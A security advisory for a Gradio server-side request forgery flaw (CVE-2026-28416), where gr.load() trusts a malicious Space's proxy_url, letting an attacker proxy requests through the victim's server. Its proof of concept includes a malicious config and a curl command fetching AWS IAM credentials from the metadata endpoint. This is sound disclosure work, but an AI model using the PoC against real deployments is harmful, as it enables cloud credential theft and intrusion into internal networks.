Advisory

GHSA-jmh7-g254-2cq9

Also known as: CVE-2026-28416, PYSEC-2026-66

Summary

Gradio has SSRF via Malicious proxy_url Injection in gr.load() Config Processing

Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.

Details

The vulnerability exists in Gradio's config processing flow when loading external Spaces:

  1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.
  1. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:
   if config.get("proxy_url"):
       self.proxy_urls.add(config["proxy_url"])
  1. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:
   @router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
   async def reverse_proxy(url_path: str):
  1. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:
   is_safe_url = any(
       url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
   )

An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.

PoC

Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6

1. Attacker creates a malicious Gradio Space that returns this config:

{
    "mode": "blocks",
    "components": [...],
    "proxy_url": "http://169.254.169.254/"  # AWS metadata endpoint
}

2. Victim loads the malicious Space:

import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)

3. Attacker exploits the proxy:

# Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

Impact

Who is impacted:

  • Any Gradio application that uses gr.load() to load external/untrusted Spaces
  • HuggingFace Spaces that compose or embed other Spaces
  • Enterprise deployments where Gradio apps have access to internal networks

Attack scenarios:

  • Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
  • Internal service access: Reach databases, admin panels, and APIs on private networks
  • Network reconnaissance: Map internal infrastructure through the victim
  • Data exfiltration: Access sensitive internal APIs and services

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-03-01 01:29 UTC
Modified
2026-06-06 00:30 UTC

Affected packages and fixes

gradio

PyPI · All systems

Affected

  • introduced 0, fixed 6.6.0 (ecosystem)

Fixed versions

6.6.0

Fix

  • Fixed version 6.6.0
    pip install --upgrade gradio==6.6.0

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences